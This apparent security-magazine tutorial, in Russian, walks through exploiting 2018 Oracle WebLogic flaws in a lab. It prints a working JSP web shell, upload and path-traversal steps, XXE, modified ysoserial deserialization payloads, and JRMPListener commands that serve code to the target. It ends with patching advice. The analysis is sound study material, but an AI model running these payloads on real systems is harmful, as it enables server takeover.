Дырявая логика — новые уязвимости в Oracle WebLogic

В этой статье мы поговорим сразу о нескольких уязвимостях в сервере приложений Oracle WebLogic, написанном на Java.
Этот продукт безумно популярен в энтерпрайз-среде и попадается постоянно на периметрах разных компаний от мала до велика.
Уязвимости носят критический характер и позволяют злоумышленнику выполнить произвольный код на целевой системе.

Oracle WebLogic — это решение для построения сервис-ориентированной архитектуры (SOA), создания функциональных пакетов разного уровня связанности и сложности.

Под угрозой оказались все актуальные версии приложения — 10.3.6.0, 12.1.3.0, 12.2.1.3 и ниже.

Уязвимости

CVE-2018-2894 позволяет загружать произвольные файлы в систему, в том числе исполняемые (типа JSP), которые затем доступны через веб.

CVE-2018-3246 — XXE при загрузке XML-файла в качестве тестового сценария в компоненте Web Services Test Client.

CVE-2018-2628CVE-2018-3252 — выполнение произвольного кода при помощи протокола JRMP.

CVE-2018-3191 — выполнение произвольного кода путем десериализации произвольных объектов Java, переданных через POST-запрос.

Стенд

Я буду поднимать сервер WebLogic версии 12.2.1.3.0 на системе Windows. Скачиваем инсталлятор с официального сайта Oracle из раздела Downloads. Для корректной установки и работы WebLogic потребуется JDK выше 1.8.0.130.

java.exe -jar fmw_12.2.1.3.0_wls_quick.jar

Если хочешь использовать версию ниже, то можешь отключить эту проверку, добавив ключ -ignoreSysPrereqs.

Установка WebLogic 12.2.1.3.0 в Windows
Установка WebLogic 12.2.1.3.0 в Windows

Теперь нужно создать домен WebLogic. Для этого запускаем конфигуратор из домашней директории сервера:

oracle_common\common\bin\config.cmd
Создание домена в WebLogic
Создание домена в WebLogic

На первом этапе нужно указать, куда будут сохранены всевозможные конфиги и прочие причиндалы для новоиспеченного домена. Рекомендую оставить по дефолту, для теста это абсолютно неважно.

На втором этапе выбираем все возможные шаблоны.

Выбор шаблонов при создании домена
Выбор шаблонов при создании домена

Затем указываем связку логин-пароль для админа, режим работы домена — «разработка» или production. А также можно дополнительно настроить порты и сетевые устройства, на которых будет висеть сервер. Для этого отмечай галкой Administration Server в разделе Advanced Configuration.

Дополнительные настройки при создании домена WebLogic
Дополнительные настройки при создании домена WebLogic

После этого жмем на кнопку Create, откидываемся на спинку кресла и ждем создания нового домена. Это быстро, так что далеко откинуться не успеешь.

Прогресс создания нового домена в WebLogic
Прогресс создания нового домена в WebLogic

Теперь жмем на Next и попадаем на последнее окно, где можно отметить галочкой пункт Start Admin Server для немедленного запуска того, что мы наконфигурировали. Жмем на Finish. Если галочкой ты не воспользовался, то запустить сервер можно также через командную строку. Для этого заходим в домашнюю директорию WebLogic и выполняем

user_projects\domains\base_domain\startWebLogic.cmd

Разумеется, путь актуален, если ты не менял дефолтные настройки при создании домена.

Готовый стенд WebLogic
Готовый стенд WebLogic

Те, кто не любит сложности, могут использовать Docker и готовый образ с VulHub. Готовый стенд поднимается одной командой:

docker run -p7001:7001 --name weblogic --rm vulhub/weblogic:12.2.1.3

Это версия 12.2.1.3, а если нужна 10.3.6.0, то выполняй

docker run -p7001:7001 --name weblogic --rm vulhub/weblogic

Загрузка произвольных файлов на сервер (CVE-2018-2893, CVE-2018-2894)

Первая уязвимость присутствует в компоненте Web Services Test Client. Он доступен по адресу /ws_utc/. Перейдя на него, ты увидишь окно авторизации.

Форма входа в Web Services Test Client
Форма входа в Web Services Test Client

Однако не спеши закрывать окно и расстраиваться, ведь разработчики забыли кое-что важное — добавить проверку на валидную сессию в раздел конфигурации данного раздела. И если сервер работает в режиме development, то получить к нему доступ можно, просто перейдя на /ws_utc/config.do.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
40:   public Forward config() {
41:     if (RequestUtil.isProductionMode()) {
42:       this.response.setStatus(503);
43:       return null;
44:     }
45:     String defaultType = this.request.getParameter("default");
46:     if (defaultType == null) {
47:       defaultType = "";
48:     }
49:     this.request.setAttribute("default", defaultType);
50:     return new Forward("setting");
51:   }
Страница конфигурации Web Services Test Client доступна без авторизации
Страница конфигурации Web Services Test Client доступна без авторизации

Основные исходники этого компонента ты найдешь в файле

<weblogic_home>/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/WEB-INF/lib/ws-testpage-impl.jar

Уже можно вооружаться JD-GUI или воспользоваться онлайновым декомпилятором, чтобы посмотреть поближе на логику работы приложения.

Надеюсь, ты помнишь про настройку Work Home Dir на странице конфига? В ней указывается путь, где расположены файлы, нужные для работы тестового клиента, причем есть возможность этот путь менять. После внесения изменений уже существующая структура, включая файлы и папки, переносится из старой директории в новую.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.java
61:   public void changeWorkDir(String path) {
62:     String[] oldPaths = getRelatedPaths();
63:
64:     if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
65:       this.isWorkDirChangeable = false;
66:       this.isWorkDirWritable = isDirWritable(path);
67:       this.isWorkDirChangeable = true;
68:       setTestClientWorkDir(path);
69:     } else {
70:       persistWorkDir(path);
71:       init();
72:     }
73:
74:     if (this.isWorkDirWritable) {
75:       String[] newPaths = getRelatedPaths();
76:       moveDirs(oldPaths, newPaths);

Следующий шаг в нашем списке дел — это найти такую директорию, которая будет доступна из веба. Отлично подойдет css, она расположена примерно по тому же пути, где валялся jar: <weblogic_home>/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css. В зависимости от имени сервера будет изменяться часть AdminServer, а в зависимости от версии WebLogic — часть 4mcj4y. После того как мы сохраним изменения, вся структура приложения будет доступна из веба. Пока там у нас только один конфиг general, но это ненадолго.

Изменили рабочую директорию в Web Services Test Client
Изменили рабочую директорию в Web Services Test Client

Поменяв рабочую директорию, переходим в раздел Security. Там имеется возможность загружать файлы ключевых хранилищ (keystore).

Раздел Security настроек тестового клиента Web Services
Раздел Security настроек тестового клиента Web Services

Жми на кнопку Add, выбирай любой файл, а дальше Submit.

Добавление нового ключевого хранилища
Добавление нового ключевого хранилища

При загрузке файла запрос улетает на /ws_utc/resources/setting/keystore?timestamp=1540385552610, где параметр timestamp отвечает за время отправки POST-запроса. Логика обработки формы типа multipart/form-data расположена в файле RSDataHelper.java.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/res/SettingResource.java
186:   @Path("/keystore")
187:   @POST
188:   @Produces({"application/xml", "application/json"})
189:   @Consumes({"multipart/form-data"})
190:   public Response editKeyStoreSettingByMultiPart(org.glassfish.jersey.media.multipart.FormDataMultiPart formPartParams) {
...
200:     String currentTimeValue = "" + new Date().getTime();
...
203:     KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);

Все файлы сохраняются в папку keystore.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.java
29:   public static String getKeyStorePath() {
30:     return getConfigDir() + File.separator + "keystore";
31:   }

А в качестве префикса используется текущая дата в формате времени Unix.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/util/RSDataHelper.java
098:   public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path)
099:   {
100:     return convertFormDataMultiPart(formPartParams, isExtactAttachment, path, null);
101:   }
102:
103:   public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix)
104:   {
...
109:     KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
110:
111:     Map<String, List<FormDataBodyPart>> fieldMap = formPartParams.getFields();
112:     Set<String> keySet = fieldMap.keySet();
...
122:         String attachName = fdcd.getFileName();
...
131:             if (fileNamePrefix == null) {
132:               fileNamePrefix = key;
133:             }
134:             String filename = new File(storePath, fileNamePrefix + "_" + attachName).getAbsolutePath();
135:             kvMap.addValue(key, filename);
136:
137:             if (isExtactAttachment) {
138:               saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
139:             }

Поэтому наш файл после загрузки будет доступен по адресу

http://weblogic.vh:7001/ws_utc/css/config/keystore/1540385552726_test.txt
Загруженный файл доступен через веб
Загруженный файл доступен через веб

Обрати внимание, что префикс файла не совпадает с параметром timestamp, который мы передавали в запросе. Чтобы узнать нужный, можно перейти по адресу http://weblogic.vh:7001/ws_utc/resources/setting/keystore, и там в поле idбудет то, что мы ищем.

Список загруженных файлов ключевых хранилищ
Список загруженных файлов ключевых хранилищ

Теперь дело за малым. Просто загружаем в качестве ключевого хранилища JSP-шелл. Такой, например.

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<html><body>
<form method="POST" action="">
<input type="text" name="cmd">
<input type="submit" value="send command">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "\n<br>");
    Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); disr = dis.readLine(); }
    }
%>
</pre>
</body></html>
Загрузка шелла в WebLogic через keystore
Загрузка шелла в WebLogic через keystore

Как ты помнишь, мы изменяли рабочую директорию на монструозный путь, который зависит от названия сервера, его версии и прочего. На самом деле есть и другие пути, по которым можно разместить нашу папку. Например,

<домашняя_директория_weblogic>/wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

в таком случае все загруженные файлы будут доступны по URI /console/framework/skins/wlsconsole/images/config/keystore/.

Заливка шелла с использованием другой рабочей директории
Заливка шелла с использованием другой рабочей директории

Если тебя интересует автоматизация эксплуатации, то можно воспользоваться поиском по GitHub. Там такого добра навалом.

С этим делом разобрались, но есть еще одна возможность залить шелл в систему. Тут требуется авторизация, но быстренько пробежимся и по этому методу.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
82:   public Forward begin() {
83:     if (this.request.getUserPrincipal() != null) {
84:       this.request.setAttribute("show_log_out", "true");
85:     } else {
86:       this.request.setAttribute("show_log_out", "false");
87:     }
88:     if (RequestUtil.isRequstedByAdmin(this.request)) {
89:       this.request.setAttribute("show_setting", "true");
90:     } else {
91:       this.request.setAttribute("show_setting", "false");
92:     }

Авторизуемся админом в Web Services Test Client, по дефолту логин weblogic. Попадаем на страницу begin.do.

Главная страница Web Services Test Client
Главная страница Web Services Test Client

Теперь включай свой любимый прокси-сниффер и жми на кнопку Import test case. Откроется окно выбора файла для загрузки, выбираем там наш шелл и кликаем на Import.

Загрузка тестовых сценариев в Web Services Test Client
Загрузка тестовых сценариев в Web Services Test Client

За загрузку файла отвечает все тот же RSDataHelper.java.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/util/RSDataHelper.java
49:   public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment)
50:   {
51:     File pathFile = new File(com.oracle.webservices.testclient.core.ws.cdf.config.parameter.TestClientRT.getUploadDir());
52:     if (!pathFile.exists()) {
53:       pathFile.mkdirs();
54:     }
55:
56:     cleanObsoleteFile(pathFile);
57:
58:     String dirName = "RS_Upload_" + df.format(new Date());
59:     String uploadPath = new File(pathFile, dirName).getAbsolutePath();
60:
61:     return convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
62:   }

По дефолту директория, в которую скидываются файлы, имеет префикс RS_Upload_, также в названии используется текущая дата.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTestCaseAction.java
41:   public ActionData execute(ActionData actionData)
42:   {
43:     KeyValuesMap<String, String> formParams = (KeyValuesMap)actionData.get("request_form_data");
44:     try {
45:       String fileName = (String)formParams.getFirstValue("import_file_name");
46:       String importId = "" + new Date().getTime();
Загрузка шелла в WebLogic через тестовые сценарии
Загрузка шелла в WebLogic через тестовые сценарии

В ответе сервер вернет ошибку, в которой мы можем видеть полный путь до файла. Она возникает из-за того, что WebLogic пытается выполнить демаршаллинг содержимого, загруженного документа.

ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTestCaseAction.java
53:       TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));

Так как мы уже изменяли рабочую директорию, то шелл доступен из веба и можно выполнять команду. Однако, даже когда нет возможности манипулировать параметром WorkDir, есть шанс использовать еще одну уязвимость в названии параметра в форме загрузки. А там у нас path traversal! 🙂

Path traversal в названии файла при загрузке
Path traversal в названии файла при загрузке

Но это еще не все. Давай передадим вместо шелла простой XML-файл. Если теперь внимательно посмотреть на ошибку сервера, то можно заметить строку Internal Exception: org.xml.sax.SAXParseException.

Тестирование XXE в WebLogic
Тестирование XXE в WebLogic

Это означает, что содержимое передаваемого файла парсится, что открывает возможность для атаки типа XXE. Эта уязвимость известна под именем CVE-2018-3246. Чтобы ее быстро проэксплуатировать, можно воспользоваться утилитой для раскрутки слепых XML-инъекций, написанной командой ONsec на Ruby, или ее версию на Python.

Не забывай, что разработчики не дремлют и постоянно закручивают гайки. Поэтому на последних версиях Java (1.8 и выше) такой способ эксплуатации уже не прокатит.

Баги десериализации (CVE-2018-2628, CVE-2018-3191, CVE-2018-3252)

В уже далеком 2015 году исследователи из FoxGlove Security обнаружили уязвимость, которая получила идентификатор CVE-2015-4852. Благодаря ей мы больше узнали об атаках десериализации в Java и об использовании базовых классов из Apache Commons Collections для атак типа RCE на такие продукты, как Jenkins, OpenNMS, WebLogic, JBoss, WebSphere. Разработчики из Oracle приняли неоднозначное решение запатчить эту уязвимость, добавив потенциально опасные классы в блек-лист.

public abstract class ClassFilter {
  static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
  static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
  private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors," +
  "+com.sun.org.apache.xalan.internal.xsltc.trax," +

Как ты понимаешь, это не лучшее решение, и очень скоро был найден обход и на горизонте показался новый баг — CVE-2016-0638. Исследователи обнаружили функцию readExternal() класса weblogic.jms.common.StreamMessageImpl, которая в том числе выполняет десериализацию и не попадает в черный список. Поэтому с новым патчем этот список был расширен.

Этого снова оказалось недостаточно, на проблему обратили внимание большее количество ресерчеров, и вскоре появился байпас патча. Новая уязвимость получила идентификатор CVE-2016-3510.

Здесь черный список обходится при помощи weblogic.corba.utils.MarshalledObject. В который раз с новым патчем черный список обновляется. Только этого вновь оказалось недостаточно, и свет увидел очередной обход CVE-2017-3248. Тут использовался протокол JRMP (Java Remote Messaging exchange Protocol) в рамках которого возможен обмен сериализованными Java-объектами. Этот протокол — часть системы удаленного выполнения методов (RMI), а он, в свою очередь, работает по TCP/IP.

Эксплоит вызывает RemoteObjectInvocationHandler, который использует UnicastRef, чтобы создать соединение по TCP со своей RMI. Так как обмен данными происходит по протоколу JRMP, клиент десериализует все данные, которые ему отправляет сервер, и поэтому становится возможным удаленное выполнение кода. Несомненно, в скором времени патч был выпущен.

И вот мы вплотную подобрались к нашей уязвимости CVE-2018-2628. Посмотрим на то, как реализована защита от предыдущего бага. Для этого заглянем в файл com.oracle.weblogic.rjvm.jar. В нем находится нужный нам InboundMsgAbbrev.java.

weblogic/rjvm/InboundMsgAbbrev.java
013: final class InboundMsgAbbrev
014: {
...
123:     protected Class<?> resolveProxyClass(String[] interfaces)
124:       throws IOException, ClassNotFoundException
125:     {
126:       for (String intf : interfaces) {
127:         if (intf.equals("java.rmi.registry.Registry")) {
128:           throw new InvalidObjectException("Unauthorized proxy deserialization");
129:         }
130:       }
131:       return super.resolveProxyClass(interfaces);
132:     }

Класс resolveProxyClass проверяет название интерфейса. Если мы пытаемся вызвать java.rmi.registry.Registry, то система возвращает ошибку. Это все, конечно, хорошо, только вот существует java.rmi.activation.Activator, который облегчает активацию удаленных объектов. Это значит, что с помощью него также можно устанавливать соединения с атакующим сервером, который отправит пейлоад.

Для этих целей и эксплуатации всевозможных видов атак с применением сериализованных объектов Java есть утилита ysoserial. Последний скомпилированный билд ты всегда можешь скачать с Jitpack, но нам нужно взять существующий шаблон JRMPClient и переписать его в соответствии с нашими реалиями. Поэтому понадобится maven и клиент Git.

git clone https://github.com/frohoff/ysoserial
cd ysoserial

Нам нужен файл /src/main/java/ysoserial/payloads/JRMPClient.java. Копируем его под именем JRMPClient2 и переименовываем используемый интерфейс из Registry в Activator.

/src/main/java/ysoserial/payloads/JRMPClient2.java
5: import java.rmi.activation.Activator;
...
54: public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
...
56:     public Activator getObject ( final String command ) throws Exception {
...
73:         Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
74:             Activator.class
75:         }, obj);
76:         return proxy;
77:     }
...
81:         Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());

Теперь нам нужно скомпилировать утилиту.

mvn clean package

Если не хочешь возиться со всем этим, то можно скачать готовый jar из репозитория brianwrf.

WebLogic использует проприетарный протокол T3 для реализации спецификаций RMI. Подключение и общение с сервером через него — отдельная тема, эту часть ты можешь глянуть в эксплоите. А процесс эксплуатации такой.

1. Запускаем сервер JRMP, который будет доставлять полезную нагрузку на сервер:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <порт> CommonsCollections1 '<команда>'

2. Генерируем пейлоад, который будет отправляться на уязвимый WebLogic-сервер. Здесь используем созданный нами JRMPClient2. Он заставит его приконнектиться к нашему JRMP-серверу с полезной нагрузкой.

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 <ip_JRMPListener>:<порт_JRMPListener> > payload.raw

3. Подключаемся к WebLogic по протоколу T3 и отправляем ему пейлоад из предыдущего шага.

java -cp target\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/exploit"
python 44553.py 192.168.99.100 7001 ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.99.1 1099 JRMPClient2
Выполнение произвольного кода в WebLogic через десериализацию
Выполнение произвольного кода в WebLogic через десериализацию

Разработчики были проинформированы и выпустили фикс, но окончательно запатчить эту проблему у них вновь не вышло. Черный список снова вырос в размерах.

private static final String[] DEFAULT_BLACKLIST_PACKAGES = {
"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation", "sun.rmi.server" };

private static final String[] DEFAULT_BLACKLIST_CLASSES = {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

Его пополнили пакеты java.rmi.activationsun.rmi.server и классы java.rmi.server.UnicastRemoteObjectjava.rmi.server.RemoteObjectInvocationHandler, но им быстренько нашлась замена в виде java.rmi.server.RemoteObject. Этот обход (CVE-2018-3245) обнаружил Чжан Чжии (Zhiyi Zhang) из 360 ESG Codesafe Team. Он зарелизил новый пейлоад для ysoserial.

/ysoserial/src/main/java/ysoserial/payloads/JRMPClient_20180718_bypass01.java
01: package ysoserial.payloads;
02:
03: import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
04: import sun.rmi.server.UnicastRef;
05: import sun.rmi.transport.LiveRef;
06: import sun.rmi.transport.tcp.TCPEndpoint;
07: import ysoserial.payloads.annotation.Authors;
08: import ysoserial.payloads.annotation.PayloadTest;
09: import ysoserial.payloads.util.PayloadRunner;
10:
11: import java.lang.reflect.Proxy;
12: import java.rmi.registry.Registry;
13: import java.rmi.server.ObjID;
14: import java.rmi.server.RemoteObjectInvocationHandler;
15: import java.util.Random;
16:
17:
18: @SuppressWarnings ( {
19:     "restriction"
20: } )
21: @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
22: @Authors({ Authors.MBECHLER })
23: public class JRMPClient_20180718_bypass01 extends PayloadRunner implements
24: ObjectPayload<ReferenceWrapper_Stub> {
25:     public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {
26:
...
41:         ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);
42:         return stud;
...
46:     public static void main ( final String[] args ) throws Exception {
47:         Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());
48:         PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);

Использовать можно аналогично предыдущему.

Десериализация через POST (CVE-2018-3252)

Вот мы и подобрались к последней уязвимости. Она тоже про десериализацию, но на этот раз через запрос по HTTP. В WebLogic есть сервлет для деплоя. Он вызывается при помощи отправки POST на /bea_wls_deployment_internal/DeploymentService.

weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
242:   private final void internalDoPost(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
243:     throws IOException
244:   {
245:     String requestType = mimeDecode(req.getHeader("wl_request_type"));
246:     
247:     try
248:     {
...
252:       if (requestType.equals("data_transfer_request")) {
253:         handleDataTransferRequest(req, res, user);
254:         return;
255:       }

Тип запроса передается в заголовке wl_request_type. Если он равен data_transfer_request, то запрос обрабатывается с помощью handleDataTransferRequest.

weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
1075:   private void handleDataTransferRequest(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
1076:     throws IOException
1077:   {
1078:     if (isDebugEnabled()) debug("Received DataTransferRequest : ");
1079:     String peerVersion = readOrConstructPeerVersion(req);
1080:     if (isDebugEnabled()) debug("Peer Version : " + peerVersion);
1081:     String reqIdString = req.getHeader("deployment_request_id");
1082:     long requestId = reqIdString != null ? Long.parseLong(reqIdString) : -1L;
1083:     
1084:     String srcServer = mimeDecode(req.getHeader("serverName"));
1085:     
1086:     ObjectInputStream in = null;
1087:     try {
1088:       in = new DeploymentObjectInputStream(req.getInputStream(), peerVersion);
1089:       
1090:       DataTransferRequest request = (DataTransferRequest)in.readObject();

Тело запроса попадает в конструктор класса DeploymentObjectInputStream, а затем в readObject() происходит его десериализация. Функция определяет, к какому типу относятся отправленные данные.

weblogic/rjvm/InboundMsgAbbrev.java
44:   private Object readObject(MsgAbbrevInputStream in)
45:     throws IOException, ClassNotFoundException
46:   {
47:     int typecode = in.read();
48:     switch (typecode)
49:     {
50:     case 1: 
51:       return in.readASCII();
52:     case 0: 
53:       return new ServerChannelInputStream(in, null).readObject();
54:     }
55:     throw new StreamCorruptedException("Unknown typecode: '" + typecode + "'");
56:   }

Очень похожее поведение наблюдается при указании в качестве типа запроса deployment_svc_msg.

weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
249:       if (requestType.equals("deployment_svc_msg")) {
250:         handleDeploymentServiceMessage(req, res, user);
251:         return; }
...
952:   private void handleDeploymentServiceMessage(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
953:     throws IOException
954:   {
...
979:       in = new DeploymentObjectInputStream(req.getInputStream(), peerVersion);
980:       
981:       DeploymentServiceMessage message = (DeploymentServiceMessage)in.readObject();

Уязвимость возможно проэксплуатировать, только если ты авторизован, поэтому в хидерах также передаем логин и пароль пользователя. Тогда запрос приобретает следующий вид:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: weblogic.vh:7001
wl_request_type: data_transfer_request
username: weblogic
password: <пароль>
deployment_request_id: 360901
Connection: close

<rce-payload>

PoC еще не всплывал в паблике, поэтому у тебя есть возможность написать его самому. Вооружайся исходниками — и вперед.

Демонстрация уязвимости (видео)

Выводы

Сегодня мы научились выполнять код в WebLogic разными способами. Разобрали, как можно эксплуатировать уязвимости типа десериализация объектов. Попробовали работать с утилитой ysoserial, делать пейлоады для нее и использовать их в бою.

Чтобы самому не стать жертвой атак такого типа, придерживайся нескольких правил. Старайся всегда использовать последнюю версию дистрибутива Java. Разработчики из Oracle с каждым релизом ужесточают правила безопасности своего продукта. Например, появилась встроенная фильтрация потенциально опасных пользовательских сериализованных данных — JEP290.

Своевременно устанавливай секьюрити-патчи, выпускаемые Oracle. Помимо этого, желательно настроить правила фильтрации протокола T3, чтобы к нему был доступ только с доверенных IP.

© https://xakep.ru/2018/10/31/oracle-weblogic-hack/